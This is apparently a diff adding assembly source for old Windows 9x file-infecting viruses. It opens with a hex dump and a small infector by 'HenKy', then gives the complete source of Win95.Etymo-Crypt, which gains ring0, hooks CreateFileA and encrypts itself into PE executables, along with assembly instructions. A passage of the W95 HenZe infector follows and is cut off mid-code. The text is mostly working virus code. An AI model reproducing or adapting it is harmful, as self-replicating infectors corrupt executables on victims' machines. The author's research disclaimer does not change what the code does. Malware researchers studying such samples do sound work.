;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 ?79 à ?
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00  " ¨ P
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @  @ @
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00   
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00  <20> 
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00   
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00  
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT ?
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00  ?
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ?R 
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0 
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ? 
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ ?.idata
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @  ?
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
; ....
;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00  ?
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ ?.bss
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P  P
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ ?.rsrc
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00   š ä
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~
;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P ?.data
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00  ? ¸
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ àb<>????
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àb<>ðb<>  <20>
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00  @ ?+
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b<>\b<> lb<>
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ???
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´ NE Œ
; ....
.586P
PMMX ; WORF... ... JEJEJE
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)
MACROSIZE MACRO
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
.DATA
DB 0
DB 'SIZE = '
MACROSIZE
.CODE
MEGAMIX:
; EAX: EIP
; ESI: BUFFER
VINT21:
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
DB 'H' ; HenKy ;P
XCHG EDI, EAX ; EDI: DELTA
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
;EDX: POINTER TO FNAME
;LEA EDX,POPOPOP ; FOR DEBUG ONLY
;JMP KAA
MOV ECX,28000 ; LIMIT
PUSHAD
AMIMELASUDA:
POPAD
PORK:
INC EDX
CMP WORD PTR [EDX],':C'
JE KAA
LOOP PORK
WARNING:
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
RET
KAA:
PUSHAD
MOV AX, 3D02h ; open
CALL [EDI]
JC AMIMELASUDA
XCHG EBX, EAX
MOV EDX,ESI
XOR ECX,ECX
MOV CH,4H
MOV AH, 3Fh ;read
CALL [EDI]
MOV EAX, [EDX+3Ch]
ADD EAX,EDX
MOV EDI,EAX
PUSH 32
POP ECX
DEPOTA:
INC EDI
CMP BYTE PTR [EDI],'B'; HEHEHEHE
JE GOSTRO
JMP DEPOTA
GOSTRO:
INC EDI
PUSH EDI
MOV ESI,EBP
REP MOVSD
MOV ESI,EDI
POP EDI
SUB EDI,EDX
XCHG DWORD PTR [EAX+28H],EDI
CMP DI,1024
JB CLOZ
ADD EDI,[EAX+34H]
XCHG DWORD PTR [ESI-MONGORE],EDI
PUSH EBP
POP EDI
XOR EAX,EAX
PUSHAD
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH,4H
MOV AH,40H ; write
CALL [EDI]
CLOZ:
MOV AH,3EH ; close
CALL [EDI]
JMP AMIMELASUDA
FILE_END:
DW 0 ;-P
MONGORE EQU 95 ; OLD_EIP
PUSH 0
CALL ExitProcess
;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0
END MEGAMIX

View File

@ -0,0 +1,709 @@
; *************************************************************************
; ******************** ********************
; ******************** Win95.Etymo-Crypt ********************
; ******************** by ********************
; ******************** BLACK JACK ********************
; ******************** ********************
; *************************************************************************
comment ~
NAME: Win95.Etymo-Crypt
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
TYPE: Win9x global ring3 resident parasitic PE infector
SIZE: 1308 bytes
DESCRIPTION: When an infected file is run, the virus gets control. It gains
ring0 by the standart IDT modifying trick. But it doesn't stay
resident in ring0 (hooking VxD calls), but it just uses its
ring0 privilege to write to the write-protected kernel32 memory:
it copies itself into a gap in kernel32 in memory (between
the header and the start of the first section, like nigr0's
Win95.K32 virus) and hooks the CreateFileA API.
Whenever the virus intercepts a file open now, it checks if
the opened file is an infectable, uninfected PE EXE and infects
it if all is ok. The infection process is a bit unusual: The
virus creates a new section called ".vdata" (with standart data
section attributes) and saves there the code from the entrypoint,
after it has been encrypted against the virusbody. Then the
entrypoint is overwritten with virus code, most of it encrypted
again. The attributes of the code section are not modified, the
virus doesn't need the write attribute set, because it only
modifies its data when it is in ring0. The pro of this infection
method is that there are no sections with unusual attributes.
KNOWN BUGS: Since the virus needs to be resident to restore control to the
host, there is no need for checking the OS or preventing errors
with SEH, because infected files will crash under WinNT anyways,
there's no way to prevent that.
Because of that unbound import stuff, the virus only catches
very few file opens. In a kernel32.dll infector this would be
easy to prevent by changing the timedate stamp of kernel32.dll.
In this case this doesn't work, because the system checks this
stamp after the kernel32 has been loaded into memory and will
give error messages if it has been changed each times the user
tries to start a program. Another possible solution, patching
the entry point of the hooked API with the JMP_virus instruction,
like nigr0 and Bumblebee do, won't work too, because with my
residency method the kernel memory stays write protected. And so
this virus is a slow infector, but it still catches enough file
opens to replicate successfully.
ASSEMBLE WITH:
tasm32 /mx /m etymo.asm
tlink32 /Tpe /aa etymo.obj,,, import32.lib
there's no need for PEWRSEC or a similar tool, because the
virus code is supposed to run in a read-only section anyways.
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
Therefore, this source was only written for research and
education. Please do not spread it. The author can't be hold
responsible for what you decide to do with this source.
PS: Greetings go to Gilgalad for the name of this virus!
~
; ===========================================================================
virussize EQU (virus_end - virus_start)
workspace EQU 10000
Extrn MessageBoxA:Proc ; only for 1st gen
Extrn ExitProcess:Proc
386p
model flat
; First generation code is in the data section:
data
start:
push 0 ; show stupid messagebox
push offset caption
push offset message
push 0
call MessageBoxA
JMP virus_start
quit_1st_gen:
; quit program
push 0 ; exit code
push 0 ; ret address of call
push offset ExitProcess ; can't do a real call,
RET ; because this code is moved
caption db "Black Jack strikes again...", 0
message db "Press OK to run the Win95.Etymo-Crypt virus", 0
skip_decryption_1st_gen:
mov esi, offset new_bytes ; skip the decryption in the
mov edi, offset jmp_skip_decryption_1st_gen ; first generation
movsb
movsd
JMP over_encryption
new_bytes:
mov ecx, ((virus_end - encrypted)/4)
; Virus body is in the code section:
code
virus_start:
; We have to access the section with the original host code from ring3 first,
; because if we access it first from ring0, it is not mapped yet and the
; virus will cause an exception. besides, the first dword of the encrypted
; host code is also the key for the virus decryption.
db 0A1h ; mov eax, [imm32]
org_host_code_VA dd offset quit_1st_gen
call next ; go to ring0 calling routine
; ----- FIRST PART OF RING0 CODE --------------------------------------------
r0proc:
pop ebp ; offset of end_next label
sub ebp, (end_next - virus_start) ; EBP=delta offset
push ebp ; is also true offset of
; virus start in memory,
; where we will return to
mov dword ptr [edx+5*8], esi ; restore interrupt
mov dword ptr [edx+5*8+4], edi ; descriptor
lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory
jmp_skip_decryption_1st_gen:
JMP skip_decryption_1st_gen ; skip decryption in first
; generation. will be
; replaced with:
; mov ecx, ((virus_end - encrypted)/4)
decrypt_virus_body:
dec edi ; go to previous dword
dec edi
dec edi
dec edi
xor dword ptr [edi], eax ; decrypt one dword
mov eax, dword ptr [edi] ; decrypted dword is new key
LOOP decrypt_virus_body ; loop until all is decrypted
JMP encrypted ; jump to code that was just
; decrypted.
; ----- JUMP TO RING0 -------------------------------------------------------
next:
push edx ; reserve room on stack
sidt [esp-2] ; get IDT address
pop edx ; EDX=IDT address
mov esi, dword ptr [edx+5*8] ; save old interrupt
mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI
pop ebx ; get address of ring0 proc
mov word ptr [edx+5*8], bx ; write offset of our ring0
shr ebx, 16 ; procedure into interrupt
mov word ptr [edx+5*8+6], bx ; descriptor
int 5 ; call our ring0 code!
end_next:
; no IRET to here.
; ----- MAIN ENCRYPTED RING0 CODE -------------------------------------------
encrypted:
; now we decrypt the original start code of the host, which has been
; encrypted against the virus body.
mov esi, ebp ; ESI=start of virus body
mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code
xor ecx, ecx ; ECX=0
decrypt_loop:
lodsb
sub byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
lodsb
add byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
cmp ecx, virussize ; all decrypted?
JB decrypt_loop ; loop until all is done
over_encryption:
; the kernel32 address is hardcoded, because this is virus is only Win95
; compatible anyways
mov eax, 0BFF70000h ; EAX=kernel32 offset
mov ebx, eax ; EBX=EAX
add ebx, [eax+3Ch] ; EBX=PE header VA
mov edi, [ebx+54h] ; header size
add edi, eax ; EDI=virus VA
cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is
JE already_resident ; residency marker
push edi ; save virus VA in kernel32
; ----- SEARCH API ADDRESSES ------------------------------------------------
mov edx, [ebx+78h] ; EDX=export directory RVA
add edx, eax ; EDX=export directory VA
lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs
; to API names
lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the
; API adresses
find_API:
xor ecx, ecx ; ECX=0 (API names counter)
search_loop:
pusha ; save all registers
push eax ; save EAX (kernel32 offset)
lodsd ; get offset of API name
or eax, eax ; all done?
JZ all_found
add eax, ebp ; fixup with delta offset
xchg eax, esi ; ESI=VA of a needed API name
pop eax ; restore EAX (kernel32 offs)
mov edi, [edx+20h] ; EDI=AddressOfNames RVA
add edi, eax ; EDI=AddressOfNames VA
mov edi, [edi+ecx*4] ; EDI=RVA of API Name
add edi, eax ; EDI=VA of API Name
cmp_loop:
lodsb ; get char from our API name
scasb ; equal to the one in k32 ?
JNE search_on_API ; if not,try next exported API
or al, al ; end of name?
JZ found_API ; we've found an needed API!
JMP cmp_loop ; go on with name compare
search_on_API:
popa ; restore all registers
inc ecx ; try next API in exports
JMP search_loop ; go on
found_API:
popa ; restore all registers
shl ecx, 1 ; ECX=ECX*2 (index ordinals)
add ecx, [edx+24h] ; AddressOfOrdinals RVA
movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal
shl ecx, 2 ; ECX=ECX*4
add ecx, [edx+1Ch] ; AddressOfFunctions RVA
add ecx, eax ; ECX=VA of API RVA
mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it
mov ecx, [ecx] ; ECX=API RVA
push eax ; save EAX (kernel32 base)
add eax, ecx ; EAX=API VA!
stosd ; store it!
lodsd ; do the next API (add esi,4)
pop eax ; restore EAX (kernel32 base)
JMP find_API ; do next API.
all_found:
pop eax ; remove EAX from stack
popa ; restore all registers
; last found API is hooked
mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA
mov edx, [ebx+54h] ; kernel32 header size
; (virus RVA in kernel32)
add edx, (hook - virus_start) ; RVA virus hook in kernel32
mov [ecx], edx ; hook API!
pop edi ; restore EDI:virus VA in k32
mov esi, ebp ; ESI=start of virus in mem
mov ecx, virussize ; ECX=virussize
cld ; clear directory flag
rep movsb ; move virus to TSR location!
sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32
JMP restore_host ; restore host
already_resident:
add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32
restore_host:
mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset
; of original host code
JMP edi ; go to go_on_r0 in kernel32
go_on_r0:
mov edi, ebp ; EDI=virus/host entrypoint
mov ecx, virussize ; ECX=virussize
cld ; clear directory flag
rep movsb ; move host code back!
iretd ; go to original entry point
; in ring3!
; ----- TSR VIRUS HOOK OF CreateFileA ---------------------------------------
hook:
push eax ; reserve room on stack for
; return address
pushf ; save flags
pusha ; save all registers
call TSR_next ; get delta offset
TSR_next:
pop ebp
sub ebp, offset TSR_next
mov eax, [ebp+offset CreateFileA] ; address of original routine
mov [esp+9*4], eax ; set return address
mov esi, [esp+11*4] ; get address of filename
push esi ; save it
search_ext:
lodsb ; get a byte from filename
or al, al ; end of filename?
JNZ search_ext ; search on
mov eax, [esi-4] ; get extension in AX
pop esi ; restore filename ptr in ESI
or eax, 00202020h ; make lowercase
cmp eax, "exe" ; is it an EXE file?
JNE exit_hook ; if not, then exit
push esi ; offset filename
call [ebp+offset GetFileAttributesA] ; get file attribtes
inc eax ; -1 means error
JZ exit_hook
dec eax
push eax ; save attributes and
push esi ; filename ptr so we can
; restore the attribs later
push 80h ; normal attributes
push esi
call [ebp+offset SetFileAttributesA] ; reset file attributes
or eax, eax ; 0 means error
JZ reset_attributes
push 0 ; template file (shit)
push 80h ; file attributes (normal)
push 3 ; open existing
push 0 ; security attributes (shit)
push 0 ; do not share file
push 0C0000000h ; read/write mode
push esi ; pointer to filename
call [ebp+offset CreateFileA] ; OPEN FILE.
inc eax ; EAX= -1 (Invalid handle)
JZ reset_attributes
dec eax
push eax ; save filehandle
xchg edi, eax ; EDI=filehandle
sub esp, 3*8 ; reserve space on stack
; to store the filetimes
mov ebx, esp ; get the filetimes to the
push ebx ; reserved place on stack
add ebx, 8
push ebx
add ebx, 8
push ebx
push edi ; filehandle
call [ebp+offset GetFileTime] ; get the filetimes
or eax, eax ; error?
JZ closefile
push 0 ; high file_size dword ptr
push edi
call [ebp+offset GetFileSize] ; get the filesize to EAX
inc eax ; -1 means error
JZ closefile
dec eax
mov ebx, esp ; save addresses of filetimes
push ebx ; for the API call to restore
add ebx, 8 ; them later
push ebx
add ebx, 8
push ebx
push edi
push edi ; filehandle for SetEndofFile
; for the SetFilePointer at
; the end to truncate file
push 0 ; move relative to filestart
push 0 ; high word of file pointer
push eax ; filesize
push edi ; filehandle
add eax, workspace
push 0 ; name file mapping obj (shit)
push eax ; low dword of file_size
push 0 ; high dword of file_size
push 4 ; PAGE_READWRITE
push 0 ; security attributes (shit)
push edi
call [ebp+offset CreateFileMappingA]
or eax, eax ; error happened?
JZ error_createfilemapping
push eax ; save maphandle for
; CloseHandle
push 0 ; map the whole file
push 0 ; low dword of fileoffset
push 0 ; high dword of fileoffset
push 2 ; read/write access
push eax ; maphandle
call [ebp+offset MapViewOfFile]
or eax, eax
JZ closemaphandle
push eax ; save mapbase for
; UnmapViewOfFile
cmp word ptr [eax], "ZM" ; exe file?
JNE closemap ; if not, then exit
cmp word ptr [eax+18h], 40h ; new executable header?
JNE closemap ; if not, then exit
add eax, [eax+3Ch] ; EBX=new header address
cmp dword ptr [eax], "EP" ; PE file?
JNE closemap ; if not, then exit
test word ptr [eax+16h], 0010000000000000b ; DLL ?
JNZ closemap ; if yes, then exit
movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader
mov ebx, eax ; EBX=offset PE header
add ebx, 18h ; SizeOfNTHeader
add ebx, ecx ; EBX=first section header
push ebx ; save it
find_code_section:
mov ecx, [eax+28h] ; ECX=EntryRVA
sub ecx, [ebx+0Ch] ; Virtualaddress of section
sub ecx, [ebx+10h] ; SizeOfRawData
JB found_code_section ; we found the code section!
add ebx, 40 ; next section
JMP find_code_section ; search on
found_code_section:
mov edx, [eax+28h] ; EDX=EntryRVA
sub edx, [ebx+0Ch] ; Virtualaddress
add edx, [ebx+14h] ; AddressOfRawData
; EDX=RAW ptr to entrypoint
pop ebx ; EBX=first section header
cmp ecx, -virussize ; enough room left in the
JG closemap ; section for the virus body?
mov ecx, [esp] ; ECX=mapbase
add ecx, edx ; ECX=entrypoint in Filemap
cmp byte ptr [ecx], 0A1h ; already infected ?
JE closemap ; if so, then exit
push edx ; save RAW entrypoint address
movzx edx, word ptr [eax+6] ; NumberOfSections
dec edx
imul edx, edx, 40
add ebx, edx ; EBX=last section header
inc word ptr [eax+6] ; increase NumberOfSections
mov dword ptr [ebx+40+00h], "adv." ; name ".vdata"
mov dword ptr [ebx+40+04h], "at"
mov dword ptr [ebx+40+08h], virussize ; Virtualsize
mov edx, [ebx+0Ch] ; VirtualAddress
add edx, [ebx+08h] ; VirtualSize
mov ecx, [eax+38h] ; SectionAlign
call align_EDX
mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress
add edx, virussize ; new ImageSize
call align_EDX ; align to SectionAlign
mov dword ptr [eax+50h], edx ; store new ImageSize
mov edx, virussize
mov ecx, [eax+3Ch] ; FileAlign
call align_EDX ; align virsize to FileAlign
mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData
mov edx, [ebx+14h] ; PointerToRawData
add edx, [ebx+10h] ; SizeOfRawData
call align_EDX ; align new section
; raw offset to FileAlign
mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData
add edx, [ebx+40+10h] ; SizeOfRawData
mov dword ptr [esp+4*4], edx ; new filesize
mov dword ptr [ebx+40+18h], 0 ; Relocation shit
mov dword ptr [ebx+40+1Ch], 0
mov dword ptr [ebx+40+20h], 0
mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the
; standart for data sections
mov edx, dword ptr [ebx+40+0Ch] ; RVA host code
add edx, [eax+34h] ; add ImageBase to get VA
pop esi ; ESI=RAW entrypoint address
pop eax ; EAX=mapbase
push eax ; we still need it on stack
add esi, eax ; ESI=entrypoint in FileMap
push esi ; save it on stack
mov edi, dword ptr [ebx+40+14h] ; PointerToRawData
add edi, eax ; start of new section in map
mov ecx, virussize ; bytes to move
push ecx ; save virussize on stack
cld
mov eax, edi ; EAX=new section in FileMap
rep movsb ; of entry point code to
; newly created section
pop ecx ; ECX=virussize
pop edi ; EDI=entrypoint in Filemap
lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory
rep movsb ; move virus body to
; original Entrypoint of File
mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of
; original host start code
push edi ; Save end of virus body
; in Filemap
mov esi, edi ; ESI=virus end in Filemap
sub esi, virussize ; ESI=virus start in Filemap
xchg edi, eax ; EDI=start of new section
; Encrypt the code from the original entry point against the virus body.
encrypt_loop:
lodsb
add byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
lodsb
sub byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
cmp ecx, virussize ; all encrypted?
JB encrypt_loop ; if not, then crypt on
; and now the main part of the virus body is encrypted itself. It is crypted
; from the end of the virus body upwards, for each dword is the next dword
; used as crypt key. The first key is the first dword of the encrypted
; host code.
mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords
mov eax, dword ptr [edi] ; initial key
pop edi ; end of virus in filemap
encrypt_virus_body:
dec edi ; go to previous dword
dec edi
dec edi
dec edi
mov ebx, dword ptr [edi] ; this dword is the next key
xor dword ptr [edi], eax ; encrypt it with this key
xchg ebx, eax ; change keys
LOOP encrypt_virus_body ; LOOP until encryption done
; the parameters for the following API calls have already been pushed on the
; stack while the opening process of the file
closemap:
call [ebp+offset UnmapViewOfFile] ; unmap file
closemaphandle:
call [ebp+offset CloseHandle] ; close map handle
error_createfilemapping:
call [ebp+offset SetFilePointer] ; set file pointer to EOF
call [ebp+offset SetEndOfFile] ; truncate file here
call [ebp+offset SetFileTime] ; restore filetimes
closefile:
add esp, 8*3 ; remove filetimes from stack
call [ebp+offset CloseHandle] ; close file
reset_attributes:
call [ebp+offset SetFileAttributesA] ; reset attributes
exit_hook:
popa ; restore all registers
popf ; restore flags
ret ; go to original API routine
; ----- ALIGN SUBROUTINE ----------------------------------------------------
; aligns EDX to ECX
align_EDX:
push eax ; save EAX
push edx ; save EDX
xchg eax, edx ; EAX=value to align
xor edx, edx ; EDX=0
div ecx ; divide EDX:EAX by ECX
pop eax ; restore old EDX in EAX
or edx, edx ; EDX=mod of division
JZ already_aligned ; already aligned?
add eax, ecx ; if not align
sub eax, edx ; EDX=mod
already_aligned:
xchg eax, edx ; EDX=aligned value
pop eax ; restore EAX
ret
db "[Win95.Etymo-Crypt] by Black Jack", 0
db "This virus was written in Austria in May/June/July 2000", 0
names_RVA_table:
dd (n_GetFileAttributesA - virus_start)
dd (n_SetFileAttributesA - virus_start)
dd (n_GetFileTime - virus_start)
dd (n_GetFileSize - virus_start)
dd (n_CreateFileMappingA - virus_start)
dd (n_MapViewOfFile - virus_start)
dd (n_UnmapViewOfFile - virus_start)
dd (n_SetFilePointer - virus_start)
dd (n_SetEndOfFile - virus_start)
dd (n_CloseHandle - virus_start)
dd (n_SetFileTime - virus_start)
dd (n_CreateFileA - virus_start)
dd 0
n_GetFileAttributesA db "GetFileAttributesA", 0
n_SetFileAttributesA db "SetFileAttributesA", 0
n_GetFileTime db "GetFileTime", 0
n_GetFileSize db "GetFileSize", 0
n_CreateFileMappingA db "CreateFileMappingA", 0
n_MapViewOfFile db "MapViewOfFile", 0
n_UnmapViewOfFile db "UnmapViewOfFile", 0
n_SetFilePointer db "SetFilePointer", 0
n_SetEndOfFile db "SetEndOfFile", 0
n_CloseHandle db "CloseHandle", 0
n_SetFileTime db "SetFileTime", 0
n_CreateFileA db "CreateFileA", 0
API_RVAs:
GetFileAttributesA dd ?
SetFileAttributesA dd ?
GetFileTime dd ?
GetFileSize dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetFilePointer dd ?
SetEndOfFile dd ?
CloseHandle dd ?
SetFileTime dd ?
CreateFileA dd ?
hook_API dd ?
if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords
db (4-(($-virus_start) mod 4)) dup(0)
endif
virus_end:
end start

View File

@ -0,0 +1,523 @@
;---------------------------- W95 HenZe BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
.586P
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
KERNEL95 EQU 0BFF70000h
MIX_SIZ EQU FILE_END-MEGAMIX
MIX_MEM EQU MEM_END-MEGAMIX
NABLA EQU DELTA-MEGAMIX
MARKA EQU 66
FLAGZ EQU 00000020H OR 20000000H OR 80000000H
MAX_PATH EQU 260
MACROSIZE MACRO
DB MIX_SIZ/01000 mod 10 + "0"
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER
; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)
; MOV
; CALL
; JNZ ONLY SIX OPCODES WERE USED.. xDDD
; ADD /
; SUB /
; CMP /
; AND NO INDEXING MODE (EASY DISASM CODE)
;MOV EAX,[EBP+5]
;TURNS INTO:
; ADD EBP,5
; MOV EAX,[EBP]
;AND SO...
; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND
; SEVERAL META TIPS
.DATA
copyrisgt DB 'HenZe '
MACROSIZE
.CODE
; BIZARRE VIRUS BEGINS...
MEGAMIX:
MOV EAX, 401005H
MILO EQU $-4
DELTA:
MOV EBP,EAX
WINES:
MOV EAX,KERNEL95
MOV CL,'M'
CMP BYTE PTR [EAX],CL
JNZ WARNING
MOV EBX,EAX
MOV EDX,02b226A57h ; GPA SIGNATURE FOR W9X
BUSCA3:
ADD EAX,1
CMP DWORD PTR [EAX],EDX
JNZ SHORT BUSCA3
APIZ:
MOV ECX,OFFSET GPA
ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV [ECX],EAX
MOV ESI, OFFSET APIs
ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV EDI,OFFSET APIaddresses
ADD EDI,EBP
SUB EDI,OFFSET DELTA
GPI: SUB ESP,4
MOV [ESP],ESI
SUB ESP,4
MOV [ESP],EBX
MOV ECX,OFFSET GPA
ADD ECX,EBP
SUB ECX,OFFSET DELTA
CALL [ECX]
MOV [EDI],EAX
ADD EDI,4
NPI:
MOV AL,BYTE PTR [ESI]
ADD ESI,1
CMP AL,0
JNZ SHORT NPI
CMP [ESI], AL
JNZ GPI
INFECT:
MOV EAX, OFFSET Win32FindData
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET IMASK
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET FindFirstFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX, OFFSET SearcHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
LOOPER:
CMP EAX,-1
JNZ SUPPER
WARNING:
MOV EAX,12345678H
ORG $-4
OLD_EIP DD 00401000H
ADD ESP,4
CALL EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE
SUPPER:
CMP EAX,0
JNZ ALLKEY
PILLE:
CMP ESP,0 ; ESP NEVER IS ZERO
JNZ WARNING
ALLKEY:
SUB ESP,4
MOV EAX,OFFSET OLD_EIP
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[EAX]
MOV [ESP],EBX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],00000080h
SUB ESP,4
MOV [ESP],3
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],0C0000000h
MOV EAX ,offset FNAME ; OPEN IT!
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CreateFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX,OFFSET FileHandle
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX ; SAVE HNDL
MOV EBX,OFFSET WFD_nFileSizeLow
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]
MOV EDX,0
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],4H
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV EBX,OFFSET FileHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV ECX,[EBX]
MOV [ESP],ECX
MOV EAX, OFFSET CreateFileMappingA
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX,OFFSET MapHandle
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX
MOV EBX,OFFSET WFD_nFileSizeLow
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]
MOV EDX,0
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
ADD EDX,2
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV ECX, OFFSET MapHandle
ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV EBX,[ECX]
MOV [ESP],EBX
MOV EBX, OFFSET MapViewOfFile
ADD EBX,EBP
